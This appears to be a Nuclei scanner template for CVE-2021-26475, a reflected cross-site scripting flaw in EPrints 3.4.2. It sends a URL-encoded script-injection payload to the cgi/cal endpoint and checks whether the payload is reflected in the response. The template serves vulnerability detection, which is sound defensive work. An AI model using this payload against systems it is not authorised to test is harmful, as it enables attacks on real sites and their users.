id: CVE-2021-26475

info:
  name: EPrints 3.4.2 XSS
  author: geeknik
  severity: medium
  description: EPrints 3.4.2 exposes a reflected XSS opportunity in the via a cgi/cal URI.
  reference:
    - https://github.com/grymer/CVE/blob/master/eprints_security_review.pdf
    - https://files.eprints.org/2548/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-26475
    cwe-id: CWE-79
  tags: cve,cve2021,xss,eprints

requests:
  - method: GET
    path:
      - "{{BaseURL}}/cgi/cal?year=2021%3C/title%3E%3Cscript%3Ealert(%27{{randstr}}%27)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</title><script>alert('{{randstr}}')</script>"
      - type: word
        part: header
        words:
          - "text/html"